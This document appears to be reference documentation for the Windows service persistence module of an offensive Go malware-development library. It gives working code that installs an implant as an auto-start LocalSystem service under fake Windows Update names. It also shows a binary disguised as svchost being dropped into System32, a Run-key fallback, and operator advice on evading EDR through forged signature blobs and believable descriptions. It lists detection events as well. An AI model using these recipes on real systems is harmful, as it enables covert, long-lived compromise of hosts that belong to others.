Windows service persistence

← persistence index · docs/index

TL;DR

Install a Windows service via the Service Control Manager so the implant runs as LocalSystem at every boot. Highest-trust persistence available; also the loudest — service creation emits System Event 7045 + Security Event 4697 on every modern Windows host. Implements persistence.Mechanism for composition with other persistence primitives.

Primer

Services are the canonical Windows mechanism for "long-running process started by the OS, restarted on failure, runs as LocalSystem unless told otherwise". Once installed, the implant survives reboots, user logoffs, and most cleanup sweeps that target user-scope artefacts (Run keys, StartUp folders).

Trade-off: SCM database changes are universally audited. Mature EDR stacks correlate Event 7045 against the binary path (user-writable = bad), the signer (unsigned = bad), and the service description (suspicious keywords). Pair with pe/masquerade (svchost preset), pe/cert, and a binary path inside %SystemRoot%\System32\ for the lowest-noise install operationally available.

How It Works

sequenceDiagram
    participant Caller
    participant SCM as "Service Control Manager"
    participant DB as "services.exe DB"
    participant Audit as "Event log"

    Caller->>SCM: OpenSCManager(SC_MANAGER_CREATE_SERVICE)
    Caller->>SCM: CreateService(name, binPath, type, startType)
    SCM->>DB: write service entry
    DB-->>Audit: System 7045 (service installed)
    DB-->>Audit: Security 4697 (service installed)
    Caller->>SCM: StartService (optional)
    Note over SCM: services.exe spawns binPath as LocalSystem

The implementation uses golang.org/x/sys/windows/svc/mgr under the hood — the standard svc.mgr package — to keep the SCM interaction contract well-tested and conventional. Mechanism.Install chains Install + (optionally) StartService; Mechanism.Uninstall is StopService + DeleteService with cleanup-pause semantics.

API Reference

type StartType uint32

godoc

type Config

godoc

[!IMPORTANT] When Account is set to a normal local or domain user, the account MUST hold SeServiceLogonRight. Use GrantSeServiceLogonRight(account) to add the right via LsaOpenPolicy + LsaAddAccountRights before calling Install. Idempotent — granting an already-held right is a no-op. Requires elevation (SeSecurityPrivilege).

Equivalent operator workflows: secedit /import …, ntrights -u <user> +r SeServiceLogonRight, or a Group Policy drop. Built-in NT AUTHORITY\NetworkService / LocalService already hold the right and need no password.

Functions

Examples

Simple — install + start

import "github.com/oioio-space/maldev/persistence/service"

err := service.Install(&service.Config{
    Name:        "WinUpdateNotifier",
    DisplayName: "Windows Update Notification Center",
    Description: "Provides update notifications.",
    BinPath:     `C:\ProgramData\Microsoft\winupdate.exe`,
    StartType:   service.StartAuto,
})
if err != nil {
    panic(err)
}
_ = service.Start("WinUpdateNotifier")

Composed — Mechanism + InstallAll redundancy

Pair with a Run-key fallback so loss of either mechanism does not lose persistence.

import (
    "github.com/oioio-space/maldev/persistence"
    "github.com/oioio-space/maldev/persistence/registry"
    "github.com/oioio-space/maldev/persistence/service"
)

mechs := []persistence.Mechanism{
    service.Service(&service.Config{
        Name:      "WinUpdate",
        BinPath:   `C:\ProgramData\Microsoft\winupdate.exe`,
        StartType: service.StartAuto,
    }),
    registry.RunKey(registry.HiveLocalMachine, registry.KeyRun,
        "WinUpdateBackup",
        `C:\ProgramData\Microsoft\winupdate.exe`),
}
errs := persistence.InstallAll(mechs)
for _, e := range errs {
    if e != nil {
        // partial install — verify which fired
    }
}

Advanced — masqueraded binary in System32

The full-stealth recipe: emit a binary that masquerades as a real svchost service host, drop it under System32, install under a plausible service name.

// At build time:
//   import _ "github.com/oioio-space/maldev/pe/masquerade/preset/svchost"
//   go build -o svc-update.exe ./cmd/implant

// On target (assumes admin):
import (
    "io"
    "os"

    "github.com/oioio-space/maldev/persistence/service"
)

const target = `C:\Windows\System32\svc-update.exe`

src, _ := os.Open("svc-update.exe")
dst, _ := os.Create(target)
_, _ = io.Copy(dst, src)
_ = src.Close()
_ = dst.Close()

_ = service.Install(&service.Config{
    Name:        "SvcUpdate",
    DisplayName: "Service Update Helper",
    Description: "Coordinates background service updates.",
    BinPath:     target,
    StartType:   service.StartAuto,
})

See ExampleService.

Advanced — service-account override

When LocalSystem is too noisy, pin the service to a built-in low-priv principal (no password needed) or to a normal user that already holds SeServiceLogonRight.

// 1. Built-in NT AUTHORITY\NetworkService — no password.
//    Already holds SeServiceLogonRight.
_ = service.Install(&service.Config{
    Name:        "WinUpdateNetCheck",
    DisplayName: "Windows Update Network Check",
    BinPath:     `C:\ProgramData\Microsoft\winupdate.exe`,
    StartType:   service.StartAuto,
    Account:     `NT AUTHORITY\NetworkService`,
})

// 2. Domain account. Account MUST already hold
//    SeServiceLogonRight (granted via secedit / GPO / LsaAddAccountRights).
_ = service.Install(&service.Config{
    Name:      "WinUpdateContext",
    BinPath:   `C:\ProgramData\Microsoft\winupdate.exe`,
    StartType: service.StartManual,
    Account:   `CORP\svc-winupdate`,
    Password:  os.Getenv("MALDEV_SVC_PWD"),
})

OPSEC & Detection

D3FEND counters:

• D3-PSA — services.exe spawning unsigned binaries.
• D3-SICA — SCM database registry monitoring.

Hardening for the operator:

• Pair with pe/masquerade/preset/svchost so the binary's PE metadata matches a real Microsoft service host.
• Pair with pe/cert.Copy to graft an Authenticode blob (passes presence checks).
• Drop the binary under %SystemRoot%\System32\ (admin required) — services in Program Files or System32 draw less default scrutiny than ones under %PROGRAMDATA%.
• Populate DisplayName + Description with text that matches the cloned identity.
• Avoid this technique on hosts with strict service-creation audit (Microsoft LAPS-protected, enterprise SOC-monitored).

MITRE ATT&CK

Limitations

• Admin required. SCM CreateService needs SC_MANAGER_CREATE_SERVICE which is admin-gated.
• Service binary contract. The launched binary must implement the SCM control protocol (respond to ServiceMain start, SERVICE_CONTROL_STOP etc.) or it will be killed within ~30 s. Implants that don't implement the contract should run as StartManual + a separate trigger, or wrap the implant binary with the golang.org/x/sys/windows/svc runner.
• Service-account override is one-shot. Config.Account + Config.Password propagate through to mgr.CreateService so non-LocalSystem services install fine. Pair with GrantSeServiceLogonRight(account) for user-account services where the principal doesn't already hold the right. Built-in NT AUTHORITY\NetworkService / LocalService need neither the grant nor a password.
• Boot/System start types. StartBoot / StartSystem are kernel-driver-only; userland binaries with these start types are rejected by SCM.
• Pre-Vista compatibility. Some legacy options (interactive desktop, etc.) are not exposed.

See also

• pe/masquerade — clone svchost identity for the service binary.
• pe/cert — graft Authenticode signature.
• persistence/registry — sibling lower-noise persistence to pair as a fallback.
• persistence/scheduler — sibling lower-noise SYSTEM-scope persistence.
• cleanup — remove the service post-op.
• Operator path.
• Detection eng path.